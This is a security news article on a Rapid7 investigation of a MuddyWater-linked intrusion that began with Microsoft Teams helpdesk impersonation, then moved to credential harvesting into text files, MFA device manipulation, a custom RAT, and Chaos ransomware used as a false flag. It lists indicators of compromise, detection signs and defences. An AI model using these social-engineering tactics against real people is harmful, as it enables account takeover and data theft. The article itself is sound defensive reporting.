Iran-linked hackers used Microsoft Teams chats to steal credentials and manipulate MFA

Iran-linked threat actors used Microsoft Teams as the opening move in a targeted intrusion that looked like a Chaos ransomware attack but behaved more like espionage. Rapid7 assessed with moderate confidence that the activity was linked to MuddyWater, also known as Seedworm, Mango Sandstorm, and Static Kitten.

The attackers contacted employees through external Teams chats, moved into screen-sharing sessions, and guided victims through actions that exposed credentials and changed MFA settings. Instead of encrypting files immediately, they focused on account access, data theft, remote persistence, and long-term control.

The campaign matters because it shows how attackers can turn trusted workplace tools into social engineering channels. Microsoft Teams was not exploited through a software flaw. The attackers abused external collaboration and user trust to get employees to cooperate with the intrusion.

What Rapid7 found

Rapid7 investigated an early 2026 incident that first appeared to involve Chaos ransomware. The ransom branding pointed toward a criminal extortion case, but forensic evidence suggested a more strategic operation.

The attackers used Teams to begin one-on-one conversations with employees. During live interaction, they asked victims to share screens, ran discovery commands, and pushed users to enter credentials into local text files named credentials.txt and cred.txt.

They also instructed victims to add attacker-controlled devices to MFA configurations. That step gave the attackers a stronger foothold than a stolen password alone, because they could keep authenticating after the first interaction ended.

At a glance

Detail	Information
Campaign type	Teams-based social engineering with ransomware false flag activity
Threat actor assessment	MuddyWater-linked activity, assessed by Rapid7 with moderate confidence
Ransomware brand used	Chaos ransomware
Main entry point	External Microsoft Teams chats and screen-sharing sessions
Main goal observed	Credential theft, MFA manipulation, data exfiltration, and persistence
Remote access tools	DWAgent and AnyDesk
Custom malware	ms_upd.exe downloader and Game.exe RAT
Targets described	Organizations in the United States and the MENA region

How the Teams attack worked

The attack began with a chat request from outside the victim’s organization. Once an employee engaged, the attacker created a support-like interaction and moved the user into screen sharing.

During the session, the attacker ran or guided basic discovery commands, including ipconfig, whoami, net start, nslookup, and ping. These commands helped them understand the user, machine, network, and available services.

The attackers then pushed the victim to type credentials into text files and change MFA settings. That made the attack more dangerous than a normal phishing page, because the victim helped the attacker complete several steps in real time.

Why the Chaos ransomware label may have been a cover

Chaos ransomware has been tied to criminal extortion activity, but Rapid7’s case did not follow the normal ransomware playbook. The attackers did not prioritize file encryption.

Instead, they authenticated to internal systems with harvested accounts, reached sensitive systems including a Domain Controller, deployed remote access tools, and exfiltrated data. They later contacted the victim about stolen data and ransom negotiations.

This pattern supports the false flag assessment. The ransomware identity created a criminal appearance, while the technical behavior pointed toward espionage, access development, and intelligence collection.

Tools and infrastructure used in the intrusion

Tool or artifact	Role in the campaign
Microsoft Teams	Initial social engineering, screen sharing, and victim interaction
AnyDesk	Remote access during or after social engineering
DWAgent	Persistent remote access inside the victim environment
ms_upd.exe	Downloader that registered the host and retrieved payload components
Game.exe	Custom RAT masquerading as a Microsoft WebView2 application
WebView2Loader.dll	Legitimate component used in the payload chain
visualwincomp.txt	Encrypted configuration file used by the RAT

The custom RAT behind the campaign

After gaining access, the attackers used curl to download ms_upd.exe from their infrastructure. The downloader collected host details, generated a client identifier, and communicated with a command server before retrieving the next payload stage.

Rapid7 said the downloader fetched three components: WebView2Loader.dll, Game.exe, and visualwincomp.txt. Game.exe masqueraded as a Microsoft WebView2 application and was built from Microsoft’s WebView2 sample project.

The RAT supported command execution, file transfer, interactive shell access, and file deletion. It also used sandbox and virtual machine checks, while storing its configuration with AES-256-GCM encryption.

Why attribution pointed to MuddyWater

Rapid7 linked the activity to MuddyWater with moderate confidence based on several technical clues. One important artifact was a code-signing certificate issued under the name Donald Gay, which Rapid7 said is a known shared resource in MuddyWater tooling.

The certificate was issued by Microsoft ID Verified CS AOC CA 02 and was later revoked. Rapid7 also pointed to infrastructure overlap, including moonzonet.com, which it connected to MuddyWater activity from early 2026.

The group’s use of pythonw.exe for process injection and its Teams-based support persona also matched earlier MuddyWater tradecraft. These details made the incident look less like routine ransomware and more like a state-linked operation using criminal branding for cover.

Why Teams-based social engineering keeps growing

Teams attacks work because they happen inside a tool employees already trust. A message from someone claiming to be IT support may feel more credible inside a workplace chat app than in a suspicious email.

Microsoft has warned that attackers increasingly abuse cross-tenant Teams communication to impersonate helpdesk staff and convince users to grant remote access. The risk starts when users accept follow-up actions such as screen sharing, Quick Assist, remote support tools, or MFA changes.

Google’s Mandiant team also reported a separate UNC6692 campaign that used Teams helpdesk impersonation after email flooding. That campaign pushed victims toward malware installation, showing that Teams has become a common social engineering channel for different threat groups.

Warning signs security teams should watch

• Unexpected Teams chat requests from external tenants.
• Users receiving screen-sharing or remote support requests from unknown accounts.
• Support-style messages asking users to ignore security prompts.
• Creation of files named credentials.txt or cred.txt.
• MFA device additions from unusual locations or sessions.
• Sudden installation of AnyDesk, DWAgent, or other remote management tools.
• RDP connections to internal systems shortly after Teams contact.
• curl downloads from unfamiliar external IP addresses.
• Connections to known campaign infrastructure such as adm-pulse.com, moonzonet.com, and uploadfiler.com.

How organizations should respond

Organizations should restrict external Teams communication where the business does not need it. If external access remains enabled, users should see clear warnings and receive training on how real IT support works.

Security teams should also lock down MFA changes. Adding a new MFA device should trigger alerts, step-up verification, and review when it happens from an unusual session or follows suspicious Teams activity.

Remote access tools need the same scrutiny. AnyDesk, DWAgent, Quick Assist, and similar tools can support legitimate IT work, but attackers use them because they blend into normal enterprise operations.

Recommended defenses

• Limit external Teams chats to approved tenants or business groups.
• Block users from accepting remote control sessions from unknown external accounts.
• Require helpdesk identity verification before screen sharing begins.
• Alert on new MFA device registration from risky sessions.
• Disable user-managed MFA changes for sensitive accounts where possible.
• Restrict remote management tools through allowlists.
• Monitor for credential files created in user folders.
• Detect suspicious use of curl, PowerShell, cmd.exe, and RDP after Teams contact.
• Review Domain Controller access after any Teams-led compromise.
• Hunt for outbound traffic to known infrastructure from this campaign.

Why this campaign matters

The incident shows how ransomware branding can hide a more complex objective. If defenders focus only on encryption, they may miss persistence, credential theft, data staging, and access channels left behind.

It also shows why collaboration security now belongs in incident response playbooks. Email is no longer the only place where phishing starts. Attackers can begin inside Teams, Slack, helpdesk chats, and remote support workflows.

The main lesson is clear: every request to share a screen, install a remote tool, type a password into a file, or change MFA should be treated as a high-risk event unless the user can verify the support process through a trusted internal channel.

FAQ